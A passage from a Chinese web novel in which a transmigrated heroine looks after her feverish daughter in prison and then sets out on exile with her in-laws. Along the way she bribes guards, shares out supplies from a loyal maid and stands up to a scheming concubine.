程七七捂着女儿的耳朵,看着被踢翻的粥和馒头,垂下了眸子,先前在侯府吃饱了包子,这会倒是一点都不饿。 靳家人一直骂个不停,程七七干脆偷偷抠了两团棉花,塞到女儿的耳朵里,靠着墙,安安静静的睡着,明天就要流放了,走路还不知道有多辛苦! “进了天牢,还当自己是千金大小姐呢?”衙役进牢房,就要抓着闹的最凶的靳晴儿出去。 靳晴儿吓的脸都白了,死活不出去,脸色苍白的说:“我不吵了,我再也不吵了。” 四房李氏上前,悄悄塞了点碎银子过去,衙役掂了掂,这才冷声道:“再吵,抓出去好好教训。” 衙役离开,靳家人彻底安静了! 半梦半醒间,程七七只觉得自己抱着一个火炉子,她的心中一个咯噔,不好,安安发烧了! 程七七低头,就看到女儿的脸红通通的,嘴皮都已经干裂了。 “安安,安安快醒醒!” 程七七轻拍着女儿的脸,眉眼之中满是自责,是她疏忽了,哪怕她骗安安在过家家,都是假的,可,亲眼看着亲爹死在面前,还有今日崔烈的剑…… 小姑娘肯定吓坏了! “怎么了?” 柳素仪根本睡不着,程七七的动静,让柳素仪立刻端着稀粥过来:“快,给安安喂点水!” 找衙役要水,肯定没有,今天有了程七七给肉包子的举动,柳素仪根本不饿,但,鬼使神差的,留下了这稀粥和馒头。 程七七看着端过来的稀粥,没想到,她才是侯府里接受最快的那一个。 “娘。” 靳岁安虚弱的声音响起。 正好不知道怎么将稀粥换掉的程七七立刻放下了水,程七七手背贴了贴安安的额头:“安安,哪里不舒服?你跟娘说。” “娘,我梦到好多的血,爹爹躺在地上,我怎么喊他都不理我。” “呜呜,爹爹是不是不喜欢我!” 靳岁安呜咽的哭着。 程七七哪里还不明白,小姑娘这是吓的做梦了,可能惊吓的发烧了。 “安安乖,别怕,爹爹最喜欢安安了,不信,你问奶奶,奶奶肯定不会骗你。” 程七七轻轻拍着靳岁安的后背安抚着。 “奶奶?” 靳岁安怯生生的看着柳素仪,想要亲近,又不亲近的样子,让柳素仪后悔极了。 柳素仪努力让她的笑容变得平和,连声音都比平时要温和:“安安,你娘说的对,你爹爹,最喜欢安安了!” 柳素仪想到早死的墨儿,眼泪又控制不住的流下来了。 程七七趁机拿着水,将里面的稀粥换成了水,又加了一点退烧的烧,这才喂到靳岁安的嘴里:“安安,乖乖的,喝了水,烧就会退了!” 第一卷 第7章 狗都不吃 “安安乖。” 靳岁安捧着水咕噜咕噜喝了一个精光,有了亲娘和奶奶的安慰,靳岁安很快又睡了过去。 程七七抱着女儿一晚上都没睡着,直到女儿的烧慢慢退下,才狠狠的松了一口气,旁边,还有一个同样没睡着的柳素仪。 在牢里的第二天,早饭依旧是稀粥馒头,饿了一顿的靳家人,同样没吃,倒是柳素仪拿着粥和馒头喂给老夫人! “弟妹,这个粥,以前放家里,那是连狗都不吃的。” 靳家旁支大房夫人何氏开口说着,一脸心疼的说:“老夫人怎么能喝这样的粥呢。” “大嫂,你有本事弄来药?还是有本事弄来好吃的饭菜?”柳素仪一句话,就堵得何氏一句话都说不出来了。 呵,现在不吃,明天还不是得吃? 老夫人半梦半醒的,喝了点馒头泡粥水,又沉沉的睡了过去。 程七七端着粥吃着,里面的粥,被她换成了自己熬的米汤,馒头也被她换了,她倒是好奇,靳家人,到底能坚持到几时? 同时,程七七也彻底弄清楚了靳家旁系这几人的关系了。 大房何氏,大儿媳孟静瑶,带着不过五六岁的女儿靳允。 还有一个怯生生躲在角落里的靳萱儿,听柳素仪说,是姨娘生的女儿。 三房温氏和刚成婚不到一个月的高胜兰。 四房李氏,带着女儿靳晴儿,看着马上就要及笄了。 不得不说,旁支确实子嗣丰盛。 这还只是女眷,不算姨娘,就有八个人了。 中午,靳家旁系八个人,一边嫌弃,一边将就着将馒头给吃了。 “不吃,狗都不吃。” 靳雪儿饿的连说话的力气都没有了,但还是抿着唇,死活不愿意吃。 到了晚上,靳雪儿饿晕了。 林惠兰吓了一跳,别说稀粥和不辩颜色的馒头了,只要能填肚子就行,靳雪儿死活不吃,林惠兰道:“雪儿,你犟下去,岂不是成了饿死鬼了?” 靳雪儿:“……” 半推半就的,被林惠兰逼着吃下稀粥和馒头了,一边吃,一边吐。 …… 不知名的山脚下一户农家里。 “世子,你快醒醒吧,明天,侯府一家就要被游街流放了。” 重山拿帕子轻轻给世子擦身子。 这两天,世子一会烧的连鸡蛋都能煮熟,一会冷的十床棉被都浑身冰凉的。 止水和胡军医两个人煎着药,止水问:“老胡,我们真的不能去看看侯爷和夫人吗?还有岁安小姐。” 怕被发现,他们一行人都伪装了,也不敢喊胡军医了,只敢喊老胡。 “世子还没脱险,生死未明,再经不起丁点的伤害了!” 胡军医看了他们一眼:“一切,待世子醒了再说。” 崔烈连世子的尸体都不放过,若是看到他们,察觉到什么,就全完了。 第三天,靳家人就被抓去流放了,麻木的靳家人,仿佛知道大难临头了一般。 “弟妹,你娘家柳太傅,肯定不会不管你的吧?” “二嫂,我们可全靠你了,流放苦啊,岭南更苦,听说那边瘴气厉害的很。” “是啊二嫂,岭南离得这么远,我们要是什么都没有,这一路上,还不知道有多苦呢!” 大房何氏、三房温氏、四房李氏全部都眼巴巴的看着柳素仪! 她们是靳家的旁支,靠着忠勇侯府的名头,才在京都的日子过的不错,这会被抄家流放了,平日里那些捧高踩低的人,肯定是不会管她们的! “我跟太傅府,早就没了联系了。” 柳素仪一想到父亲,神色更加黯然,当初她没有听父亲的话,毅然的嫁给忠勇侯,跟柳家,早就划清了界线! “这父女哪里有隔夜仇啊!” 大房何氏眼神滴溜的转了起来,还想说些什么,就见着衙役来了。 一行人被衙役带出了牢房,刺目的太阳,让三天没见着光线的靳家人,都忍不住挡了挡太阳! 程七七侧身低头,替女儿挡住了光线,还好空间里有退烧药,有水,女儿在第二天就退烧,能吃喝东西了。 “侯爷!” 林惠兰哭着扑到了浑身是伤的忠勇侯面前,“你要给妾身做主啊!” ‘嘶。’ 忠勇侯一身的伤,在牢里养了三天更加虚弱了,这会被林惠兰一扑,更是疼的厉害! “二伯,你没事吧?” 三房的儿子靳润之扶着忠勇侯道:“林姨娘,你要真为二伯好,就离二伯远一点。” “就是,二叔本来就是一身伤。” 大房的儿子靳礼之扶在另一侧,他跟靳润之两个人对视了一眼,世子死了,就靳砚之那样的纨绔子弟,哪里比得上他们? 要是得到侯爷的另眼相待,等侯府东山再起,也未必没有机会。 “娘,好饿啊,我快饿死了。” “牢房里的粥和馒头,狗都不吃啊,你快想办法,给我搞吃的。” 身为亲生儿子的靳砚之,还不如两个堂兄弟对父亲好呢,一见着林惠兰就开始喊饿。 “砚之,你瘦了好多,娘这就去……”弄吃的。 后面的话,林惠兰没没得,她肚子里也饿的不行呢。 “上囚车!” 衙役拿着鞭子赶人了。 靳家二十几口人,男人一车,女人一车,直接被押上了囚车。 “七七。” 柳素仪给程七七在老夫人身边找了一个位置,让她抱着孩子挤在中间。 程七七正疑惑着呢,就见着大房何氏把年纪最小的孙女靳允放在了中间,不过五六岁的年纪,懵懂的眼神中,带着害怕。 等会不会有人扔臭鸡蛋,菜叶子吧? “活该,害得我们吃了败仗。” “呸!喝我们血汗的蛀虫,皇上圣明!” 一颗菜叶子丢进囚车里,伴随着污言碎语,百姓十分的气愤,很快,不仅菜叶子,连臭鸡蛋都扔出来了…… “侯爷和世子可没立功,他们一定不会做这样的事情的。” 有人为靳家开口,下一刻,就被那些嫉恨的百姓压了下去:“呸,都是战士们打赢的,跟侯府有什么关系?” “他们侯府这么有钱,都是贪的银钱!” “打死贪官!” 菜叶子扔的更加厉害了! 囚车的缝隙里,烂菜叶子和臭鸡蛋都丢了进来,柳素仪激动的替儿子正名:“墨儿不是这样的人,他没有贪银子!” “他不是贪官!” 第一卷 第8章 一个丫环,能送什么好东西 “呸!” 一个臭鸡蛋砸过来,砸了柳素仪一脸,黏腻的鸡蛋液顺着她的额头流下来。 腐烂的臭味,令人作呕,那一张张骂人的嘴脸,柳素仪听着那些愤怒骂人的话,她木然了。 靳家人低头,恨不得找个地洞钻了。 程七七掀起衣服,将安安挡的严严实实的,耳边的骂声一路,臭鸡蛋的味道令人作呕,这辈子都没有这么狼狈过。 一路到了南城门,一身脏污的靳家人被赶了下来。 有了刚刚那一出,所有人连说话的心思都没了,只能期盼的看向城门口,靳家如今没人敢沾边,旁支大房,三房和四房更是没有什么相交之人,唯一期盼的,便是柳素仪的娘家。 柳太傅家若是不能送些东西过来,那她们流放路上,岂不是要完? “柳素仪,你娘家真的会来人吗?” 林惠兰阴阳怪气的说着:“该不会,连你亲爹娘都不要你了吧?” 都要流放了,柳素仪凭什么还被旁支的几个人捧着? “跟你有什么关系?”柳素仪眼皮子一掀,她的心里清楚,父亲气她选择中立的忠勇侯,不愿意嫁入皇家替柳家争光。 母亲性子柔弱,事事顺从父亲。 两个哥哥更是自私自利,侯府得势时,倒是示好,如今侯府一倒,他们更是生怕被连累。 柳家人是不会来的。 “来了!” 何氏激动的说着:“弟妹,我就说,柳家人肯定不会不管你这个女儿的。” “二嫂,要是有点吃的或银钱,可千万别忘记我们,我们都是一家人。” 温氏也激动,流放要是能坐上马车,有吃食,有银钱,这一路,也能撑到岭南的。 到了岭南,大不了他们重新去种地。 “……” 柳素仪抬眸,眸光浮动,她的手紧握着衣襟:“不是。” 何氏和温氏还有李氏才不相信,她们觉得一定是柳家来人了。 程七七抱着靳岁安,看到马车里探出来的脑袋里,唇边漾起一抹笑意,没白瞎她这三年对春桃的好。 春桃看到程七七一身脏污时,激动的连马车都没停稳,就迫不及待的跳了下来:“世子妃。” 一开口,春桃就哽咽的不行。 “居然不是柳家人。” “一个丫鬟。” “我们这一路可怎么活哟。” 靳家旁支看着这一幕,心都凉了半截,一个丫鬟,能送什么好东西? “春桃,我现在是罪人,不用行礼了。” 程七七扶住春桃。 “世子妃在春桃心里,永远是世子妃。” 春桃抹了一把眼泪,转头就拉着马车过来道:“我只买到两辆马车,一辆板车,被褥买了十床,也不知道够不够,衣衫鞋袜也有,还有药。” 春桃一边说着,突然想起来:“我还买了包子,你们饿了吧?” 春桃看着一大包的包子,立刻就递了上前:“我刚刚买的,还热乎着呢。” “好。” 程七七看着那大大小小的东西,没想到,春桃倒是实诚,她给的银票,只怕花的差不多了吧? 吃的? 靳家人眼睛亮了。 “母亲。” 程七七拿着包子就送到了柳素仪的面前道:“母亲快吃吧。” 柳素仪看着这眼熟的包子,眼眶不由的含着泪:“好,好孩子。” “官差那边……”柳素仪看向一旁押解的官差。 春桃拿着烤鸭就过去了,同时还悄悄塞了银子,对着押解的官差鞠躬道:“耽误官爷一段时间了。” 领头的刀疤男子看了一眼,还以为,这一趟一点油水都捞不着呢。 “卯时三刻,准时出发。” 刀疤男掂了掂手里的银子,这丫环,倒是忠心耿耿的。 “是是是。” 春桃高兴极了,连忙拿着衣服出来帮忙给靳岁安换上。 “你,还不快拿包子过来,想饿死本小姐吗?” 靳雪儿在牢里没吃什么东西,这会闻着肉包子的香味,烧鸭的味道,更是馋的不行! 靳雪儿颐指气使的,仿佛她还是那个高高在上的侯府千金! “靳雪儿,你不是说我乡下人上不得台面,吃肉包子吗?”程七七出声,靳雪儿求人就该有求人的态度! “你……” 靳雪儿正要发脾气,林惠兰一把将女儿拽到了身后,笑着说:“雪儿年纪小不懂事,七七你是嫂子,肯定不会跟雪儿计较的对吧?” “娘。”靳雪儿不满。 林惠兰瞪了她一眼,笑意满面的看着程七七:“我们侯府遭难,更应该上下一心,共渡难关啊。” 别说她爹娘不在京都,就算在京都,侯府出事,娘家人只会迅速的划清界线! 程七七的丫鬟不知道哪来的钱搞来这么多的东西,但,人该低头的时候,就得低头。 “七七,以前的事情,我让雪儿给你道歉。”林惠兰将靳雪儿拉了出来,用力掐了一下靳雪儿,小声提醒道:“你想饿死在路上不成?” 靳雪儿瞬间沉默了:“对不起。”蚊子似的声音,靳雪儿整个人都像是被抽走了灵魂一般。 “林姨娘说的对,都是一家人。” 程七七也没再说什么,只让春桃给大家分吃食和衣服。 刚刚在囚车上,大家的衣服都又臭又脏的。 得了包子的靳家众人,哪里还记得之前嫌弃程七七的话语,这会默默的换衣服,狼吞虎咽的吃包子! 在牢房里几天,他们都的猪食,真的太难吃了。 “安安,快吃,娘给你换衣服。” 程七七将女儿的外衫脱了,换上干净的衣服,她自己也脱了外衫,换上了干净的衣服,一口馒头,一口水,总算是将肚子填饱了。 “衣服里,腰带上,鞋底里,我都缝了银票,夹袄里,我还塞了碎银子。”春桃给程七七换衣服时,几乎贴着程七七的耳朵说着。 “辛苦春桃了。” 程七七心中感激。 “世子妃。” 春桃哽咽的摇头,眼泪就像是断了线的珍珠一样。 程七七抱了她一下,道:“我们主仆一场,往后,你就找个好人家,嫁了吧,相夫教子,过好日子。” 程七七拍了拍春桃的腰,似安抚,似告别。 伺候完老夫人吃药,换了衣服,柳素仪看了一眼侯爷,有林惠兰在一旁献殷勤,倒是不用管,她的视线落在了不远处相拥的程七七和春桃身上。 第一卷 第9章 收钱不办事? 没想到,那些银票,程七七居然给了春桃,春桃没有贪昧不说,还送了这么多东西过来,她或许应该重新认识一下这个儿媳妇! 也是,墨儿的眼光,总是不错的,是她这个当娘的,有太多的偏见。 靳家人换上了新衣衫鞋袜,吃了包子,大家都凑到马车前看了看,被子、衣服鞋袜,还有一些耐放的粮食糕点。 靳家人看着程七七的眼神,那是炙热的。 “不就是一点吃食吗?有什么了不起的。” 靳砚之看不习惯大家捧着程七七,一点不值钱的东西,就收买了。 “这丫鬟就是不会买东西,这粗布麻衣的,一看就是为了省钱!”靳雪儿也附和的说着,一脸嫌弃看着身上的衣服,连她身边丫鬟的衣服都不如。 “闭嘴。” 林惠兰听着一双儿女的话,恨不得捂上他们的嘴,她咬牙道:“牢房里的日子,过的还不够?” 牢房里的日子? 靳砚之和靳雪儿兄妹两个瞬间就闭嘴了。 “官爷,我家侯爷和老夫人伤的伤,病的病,能不能坐最差的马车和板车?” 柳素仪拿着藏起来的玉佩递到了官差的手里,未出阁时,她是太傅千金,出阁后是侯府主母,此时,沦为阶下囚,她也收起了全身的傲气。 “这……” 领头的刀疤男看了一眼手中的玉佩,成色不错,他直接收到了怀里,拒绝道:“不行,他们都是罪人,如何还能坐马车?” 收了钱不办事! 柳素仪气的倒仰,放在从前,他连侯府的门槛都摸不到! “母亲。” 程七七看着动静,连忙走上前,又递了些银子过去,笑着看着刀疤男道:“官爷,我公公和祖母病了,我们也不让官爷难办,出了京,还请官爷高抬贵手,让他们能躺在板车上。” “马车就当孝敬官爷辛苦了。” 程七七的话说的漂亮,姿态放的低。 刀疤男看了她一眼,这才道:“这还差不多,准备出发吧!” 刀疤男得了银钱,直接霸占了第一辆的马车,道:“把枷锁和镣铐给他们戴上。” “还没走出京城的地界,这些官差不会让他们坐马车的。” 程七七扶着柳素仪,提醒道:“母亲,现在得想想,父亲跟祖母,由谁来背。” “你说的对。” 柳素仪深吸了一口气,虎落平阳被犬欺,眼下这些官差拿了钱不办事,她什么也做不了,她不再是高高在上的侯府主母了! “你们都是侯府的人,侯爷跟老夫人如今还在昏睡中,你们谁背着他们上路?”柳素仪的视线直接掠过了靳砚之,落在了侯府旁支的男丁之上。 大房靳忠,两个儿子靳礼之,靳祠之。 三房靳孝,还有两个儿子靳润之和靳泽之。 四房靳敬,儿子靳明之。 靳家旁支,确实人丁兴旺的很。 靳砚之往人群中躲了起来,他飞快的看了一眼高大的忠勇侯,他背不动啊。 靳家旁支几个人对视了一眼,大房靳忠站了出来:“我背侯爷。” “我,背老夫人。”三房靳孝走到了老夫人的面前蹲下。 四房靳敬也不落人后:“大哥,三哥,等会我们轮流背。” 靳礼之等人道:“还有我们,也可以轮流背。” 林惠兰看着躲在后头的儿子,有些尴尬的解释道:“砚之的身体不好,怕是背不动侯爷,就辛苦你们了。” 何氏、温氏、李氏几人都没理林惠兰,而是走到了柳素仪的身旁道:“弟妹,谢谢你儿媳妇。” 要不是程七七的丫鬟送东西来了,只怕她们这会身上还穿着脏衣服脏鞋,肚子还饿的不行呢! 粗布麻衣怕什么? 他们以前就是泥腿子,要不是沾了侯爷父子的光,他们也不能过上好日子。 “七七,很好。”柳素仪看着跟着丫鬟告别的程七七。 程七七贴了贴女儿的额头,确认女儿烧退了,才道:“跟春桃说……保重。” 再见,或许这辈子都不可能了 “春桃姑姑保重。”程岁安脆生生的看着春桃,上前抱了抱春桃。 从小到大,除了娘亲,程岁安最喜欢的就是春桃姑姑了。 “岁安小姐也保重。” 春桃蹲下身子,抱了抱程岁安,偷偷往程岁安的头发里塞了点碎银子,这才朝着程七七跪下,哽咽的说:“世子妃,你也保重。” 她的命,是世子妃救的。 “我不戴这个。” 靳砚之大嚷的声音响起,看着那木板的枷锁,一想到要这样栓起来走路,靳砚之恨不得死了算了。 “凭什么他不用戴?” 靳砚之指着背人的靳忠和靳孝。 “要不,你来背?”靳忠看着靳砚之,眼底一片好心。 “我……”靳砚之瞬间就沉默了,他也背不动。 长鞭划过空中的声音响起,靳砚之来不及躲,只听到亲娘的惊呼声,下一刻,他就看到如破空而来的长鞭。 ‘啪’ 长鞭打在了靳砚之的身上,靳砚之疼的整个人都摔倒在地上了,抬头想骂人,就看到站在马车上的刀疤男子:“要么,乖乖戴上,要么,挨我十鞭。” 刀疤男手拿着长鞭,冷厉的眼神中,带着跃跃欲试。 森冷的寒意,靳砚之仿佛瞬间到了寒冬一般,靳砚之捂着火辣辣的手臂,连滚带爬的走到了官差的面前:“我戴。” 靳砚之惊恐的看着刀疤男,生怕他又来一鞭子! “出发!” 刀疤男略带着些许惋惜的说着。 靳家男丁戴着枷锁,女眷戴着镣铐,双手带着沉甸甸的链子。 年岁小的靳允被亲爹背着。 最小的程岁安,也被三房靳润之背在了背上。 靳家的流放之路,今天才开始。 “快点,刚不是吃饱了吗?” 刀疤男悠闲的坐在马车上,手中的鞭子挥舞着,示意他们走的再快点,他道:“日行五十里,若是你们走得慢了,赶不上驿站,就只能露宿野外了!” …… “世子,你终于醒了!” 重山端着药进来,看到世子睁开眼的那一刻,激动的上前,一边喊道:“老胡,止水!” 很快,胡军医跟止水都围到了世子的面前。 第一卷 第10章 要是敢跑,就打死 “世子妃,岁安小姐,保重。” 春桃看着队伍离开,眼泪怎么都抹不干,忽然,她察觉腰间似乎有东西。 她,她腰间哪来的东西? 春桃摸了摸,她偷偷掀开一看,是银票! 春桃的眼泪掉的更凶了,跪了下来,朝着程七七他们离去的方向拜了下去。 … “我不走了!” 靳砚之在第三回被打之后,疯了一样扯着戴在头上的枷锁,但,扯不掉,最后,靳砚之干脆坐在了地上。 嘶。 疼死小爷了。 靳砚之想着曾经前呼后拥的日子,再看看现在,跟个狗一样拴起来,还要被打! 靳砚之难过看着手臂上的伤痕,都是因为他走的慢,就打的! “砚之。” 林惠兰拖着镣铐,一边朝着官爷手里塞她偷藏的簪子,一边扶着靳砚之起来,低语道:“砚之,别闹脾气了,到时候……”又要被打了! “娘,你快让人把这鬼东西给解开,我不想戴这东西了!”靳砚之气冲冲的说着。 “砚之,娘也无能为力。” 林惠兰抬起她手上的镣铐,这镣铐把她的手都磋破皮了,柔软布鞋在侯府穿着很舒适,但在这官道上走着,却是硌脚的很。 “我不管。” 靳砚之盯着她道:“你说过,不管什么事情都能答应我的。” “砚之……” 林惠兰一脸为难,靳砚之知道答案了,一把将林惠兰推倒在地,转身就想跑! 这样的日子,他宁愿去死。 “站住!” 领头的刀疤张看着这一幕,手中的长鞭朝着靳砚之的方向一甩过去,靳砚之直接就被打翻在地。 “还敢跑!” 刀疤张面露凶狠,手中的鞭子一鞭子一鞭子的打了下去,皮开肉绽的。 靳砚之蜷缩着身子,疼的浑身直抽抽,死不掉,好像更惨。 “大人手下留情啊!” 林惠兰一轱辘爬了起来,朝着靳砚之的方向跌跌撞撞的跑了下去,还替靳砚之挨了一鞭子,林惠兰又拿了一块玉佩出来:“大人,砚之保证不会再跑了。” “哼!” 刀疤张接过玉佩,朝着衙役使了个眼色道:“看着,要是敢跑,打死!” “是。” 衙役立刻上前,一把将靳砚之拉了起来:“走!” 靳砚之疼的浑身发颤,但,刀疤张那随时会挥过来的鞭子,让他不敢有半点的动作! 靳家人看着这一幕,脚下疼的厉害,也不敢不走! 到了中午吃饭时,三房靳润之道:“嫂子,我来背岁安。” 程七七的唇动了动,一旁的柳素仪道:“七七,就听润之的,他们年轻,力气大。” “谢谢叔叔。” 靳岁安朝着靳润之张开手,娘亲背着她走了半天了,好累的。 “乖。” 靳润之背上了靳岁安,她乖乖的趴在靳润之的后背,小手紧紧抱着他的肩膀:“叔叔,以后安安长大了,一定会报答叔叔的!” 靳岁安脆生生的声音在他的耳旁响起,靳润之不由的笑了,道:“安安还知道报答叔叔呢?” “娘亲说了,滴水之恩,要很多很多泉相报!” 靳岁安偏头,道:“叔叔,你等我!” “好。” 靳润之侧目,看着靳岁安婴儿肥的脸庞,因流放而麻木的心情,都变得开朗了起来。 柳素仪道:“七七,你把安安教的很好。” 程七七一脸骄傲的看着女儿,这三年来,女儿就是她唯一的救赎! 傍晚,一天的赶路终于停下来了,靳砚之躺在地上,任由林惠兰给他看着伤口,靳砚之没好气的说:“你有时间哭,不如赶紧给我找药。” 他都快疼死了,亲娘只知道哭。 林惠兰:“……” 她抹眼泪的手一顿,她哪里有药? 靳砚之朝着程七七的方向看了一眼,林惠兰一顿,这岂不是要向那乡野丫头低头。 “呵,亲娘,也不过如此,疼死我算了。” 靳砚之冷笑着往地上一躺。 “我去,我去。” 林惠兰立刻说着,她只得硬着头皮去找程七七。 程七七远远的瞥了一眼,当作没看到,拿了锅就开始生火煮粥了,春桃想的很周到,这一口锅,两个陶缸,真的太实用了! 靳大爷带着孩子到附近捡柴了,靳家旁支三房就有五个儿子,再加上靳大爷三个,就有八个男人,都是壮劳力。 他们不仅给自己捡柴了,还给押解的官差也捡柴了。 程七七暗自看了一眼,靳家旁支,倒是识时务的很。 她熬的香浓的粥,她还加了红薯一起,在牢里呆了三天,靳家人闻着这红薯粥的香味,也是香的很! “母亲,喝粥。” 程七七盛了一碗给柳素仪,红薯熬的粥,在牢里素了三天的柳素仪来说,第一次觉得红薯粥香! “七七,辛苦你了。” 柳素仪端着热腾腾的粥,想到侯府风光时,她打发她们母女到偏院,不闻不问,如今落魄了,程七七却还愿意拿出粮食、衣裳分享,她就臊得慌。 “只要我们心往一块使,到了岭南就好了。”程七七可太期待岭南了,果子多的很,还有海鲜,她的最爱。 程七七又盛了一个大陶罐的粥,锅里的粥,瞬间去了一大半。 柳素仪若有所思,果然,看着程七七端着粥就给旁支的靳家人去了。 “大伯,三叔,四叔,谢谢你们送来的柴,这粥,送你们。” 程七七端了一陶罐的粥给靳家旁支。 “这也太少了吧!我们这么多人,哪够吃啊?” 何氏的话刚一开口,没走出几步的程七七回过头,道:“大伯母,不够吃,就自己买。” “我们哪有钱啊!” 何氏没好气的说着,她道:“说起来,我们都是……”受世子连累。 “娘。” 靳礼之打断何氏的话,快步上前,朝着程七七鞠躬道:“嫂嫂,我替我娘道歉,我娘不会说话,还请嫂嫂别往心里去。” 靳礼之态度诚恳,没有半分敷衍。 “七七好心给你们送吃的,你们居然还敢嫌弃上了?” 柳素仪上前,将程七七护在了身后:“何氏,你要有骨气,就别吃,侯府风光的时候,你们沾的光还少了?” 柳素仪虽然一身普通的棉衣,外面还罩着一件囚服,头发也只是一支木簪簪住,但是,她侯府主母的气度,那是多年蕴养出来的,她的眼眸在靳家旁支众人身上一一掠过。 “七七是我的儿媳妇,欺她如欺我。” 柳素仪掷地有声,她冷眼扫过靳家旁支:“墨儿死了,侯府是倒了,但你们怎知侯府没有东山再起之日?” 第一卷 第11章 扒衣 “七七,对不起。” 柳素仪拉着程七七的手,红肿的眼里含着泪,带着愧疚。 “母亲,一家人,不说两家话了。” 程七七低头,拿着帕子给乖乖坐在一旁喝粥的靳岁安擦着嘴巴,柳素仪这个婆婆,虽然不喜欢她,但也没为难过她。 侯府里,大多数时候,她跟女儿都是自在的,会为难她们的只有…… “程七七,砚之受伤了,你赶紧把药拿来。” 林惠兰命令式的语气响起,高高在上。 程七七抬眸,没了往日的光鲜亮丽,林惠兰的美貌打骨折了,在侯府,唯一喜欢为难她和女儿的,就是她们母女俩了。 程七七端着粥喝着,懒得理会林惠兰。 “喂,程七七,我娘在跟你说话呢。” 靳雪儿上前一步,对于程七七的无视,很是不高兴,她道:“我哥哥可是侯府唯一的儿子了!” 一个乡野丫头,摆什么世子妃的谱呢? “没有。” 程七七拒绝的果断。 “那,这粥就归我们了。”林惠兰上前就要端走,程七七直接挡住了,她可是很记仇的! “你……” 林惠兰刚要骂,想要在牢里的程七七,想起刚刚把何氏怼到墙上的程七七,顿时又换上了笑容:“七七啊,我们都是一家人,这粥还剩不少,我们娘三个喝了合适。” “给钱。” 程七七伸手。 这死丫头,一个乡野丫头,运气好攀上了靳墨之那个短命鬼罢了! 林惠兰在心里骂了一个痛快,面上带着笑道:“七七,我们没钱,先欠着行吗?”欠着欠着的,以后,谁知道? “不赊账。”程七七摇头,一副油盐不进的样子,别说靳雪儿了,就是林惠兰的心里也是被气灌饱了。 “难道你想饿死我们吗?” 靳雪儿气极了,冲上前道:“程七七,以后侯府还得靠我哥哥呢,你当真要算的这么清吗?” “你说的对,确实应该算的更清楚一点。” 程七七颇为赞同的点头,目光幽幽的盯着她身上的衣服:“说起来,你们身上的衣服,鞋袜,都是我丫鬟送来的,是不是还没算银钱?” “这破衣服……” 靳雪儿话刚开口,想到刚刚的何氏,正要咽回去,就感觉身上一重。 “既然你嫌弃是破衣服,那就别穿了。” 程七七直接上前扒了靳雪儿的外衫,惹得靳雪儿尖叫连连,紧紧护着身前。 “程七七!你想干嘛?” 林惠兰上前帮忙,但,程七七穿越后,每天都会锻炼,这会面对着娇养在府中的母女两个,自然不是她对手。 程七七将她们的外衫扒了一个干净,这才道:“想要,那就得拿钱买!” “好你个程七七,我记住了!” 林惠兰和靳雪儿连忙将囚衣给穿上,穿着里衫的她们,只觉得无比的耻辱。 本来想上前帮忙的柳素仪,看着这一幕,只觉得解气! 一旁的何婶则是紧紧攥住衣裳,还好,还好刚刚儿子替她道歉了,不然,被扒衣裳的就是她了。 林惠兰和靳雪儿母女两个骂骂咧咧的,然后就去找侯爷哭诉了:“侯爷,你可要替妾身做主啊。” 侯爷还在昏迷中,自然不能替林惠兰和靳雪儿做主了。 柳素仪直接将所有人都喊了过来道:“京都到岭南,三千里之遥,七七手里的粮食,总有吃完的一天,还是说,你们想要靠七七一个妇道人家,养活我们活有人?” “弟妹,绝对没有这个想法。” 何氏第一个开口,程七七那扒衣服的疯子,她可不想沾上。 “二嫂误会了,断然没有一直让侄媳妇养着我们全部人的想法,要不,我们依旧按从前一样,旁支一家吃,二嫂你们一家人一起吃。” 温氏的话音方落,四房李氏开口了:“既然要分,那我们都各自小家吃就行。” 她们一家就四个人,大房七个人,三房六个人,真要混一块吃,那也太吃亏了。 “七七,现在也没地方买粮食,可以先找你买吗?等到了补给的地方,我们再买粮食。” 李氏直接看向程七七开口,她才不要跟大房和三房混一块。 程七七没说话,看着柳素仪。 柳素仪道:“七七,你做主就好。” “借粮,还粮。” 程七七脑子清楚的很,流放地上,有钱不一定能买到粮食,再说了,粮食收多少钱好? “我同意。”李氏开口。 何氏跟温氏对视了一眼,才点头道:“行。” “那,我们呢?”林惠兰弱弱的开口。 柳素仪眼皮一掀:“你们娘三个当然是自己吃了,跟府里一样。” 七七这孩子心善,能做出扒衣裳的举动,肯定是林惠兰母女以前欺负过她们。 “我,我们没钱。”林惠兰快气死了,她就藏那么点东西,真要靠自己,怕是要饿死在路上了,她道:“侯爷要是知道你们赶我们娘仨走,想饿死我们娘仨,一定会……” “你去找啊。” 柳素仪连个眼神都懒得给,她盯着靳家旁支道:“那就这么说定了,以后各自管各自的。” 很快,靳家旁支的三房都来找程七七换粮食了,他们晚一些抓走,提前收到了消息,就开始往身上藏银钱了。 这会给银叶子和银票,给的也是十分果断。 “今天大伯、二叔和三叔轮流背的侯爷跟老夫人,每人多一碗米。”程七七另外拿小袋子装了三小袋子米。 “三婶,这个送给靳润之,辛苦他帮忙背安安了。”程七七拿了两个红薯,多盛了一碗粥给靳润之。 “都是一家人。” 温氏笑着说着,但也没推辞,他们男人三兄弟轮流背侯爷,老夫人,不吃饱怎么能行? 大房和四房多了粮食,自然是笑眯眯的。 “七七,若是你来管家,一定能管的很好。” 柳素仪满脸赞赏的看着程七七,对待林惠兰时,该狠就狠。 面对着靳家旁支人,既不会有求必应,无节制的帮忙,同时,还多每人多了一碗米,让他们背着侯爷和老夫人也更加心甘情愿。 可惜…… 柳素仪的眼底透着些许的惋惜,侯府倒了,她想教,也没机会了。 “不好了,二叔发烧了!” 靳礼之着急的声音传来,带着些许的慌张,道:“二婶,二叔的伤口发脓了。” 发烧,伤口发脓,很多人就是这么死的! 第一卷 第12章 靳家,有钱 “这太烫了。” 柳素仪伸出的手背,是被烫回来的,看着那发脓的伤口,她更是焦急,没有药啊! “母亲,先清洗伤口,再上药。” 程七七端着一盆热水过来,还放了一小撮盐。 “七七。” 柳素仪眼神浮动,这可是救命的药啊! “靳……” 柳素仪抬眸,看着一旁躺着喊疼的靳砚之,直接掠过去了。 “二婶,我来。” 靳礼之主动上前,刚要放水里,程七七问:“你洗手了吗?” 靳礼之顿了一下,然后起身到旁边的小溪洗了手出来,正要用盆里的水时,程七七小声问:“母亲可有干净的手帕?” “我有。” 靳礼之从怀里人的衣裳里,拿出了一块干净的帕子问:“嫂嫂,这帕子行吗?” 二婶的贴身手帕,他不敢用。 柳素仪回头,程七七点头,道:“行。” 伤口溃烂发脓水,看着有点恶心,程七七没想到,靳礼之清洗的干净又细心。 柳素仪全程坐在一旁,帮忙上药粉之类的,一点都没有嫌弃。 这,跟在侯府里,天天跟侯爷不合的侯府主母,完全不一样。 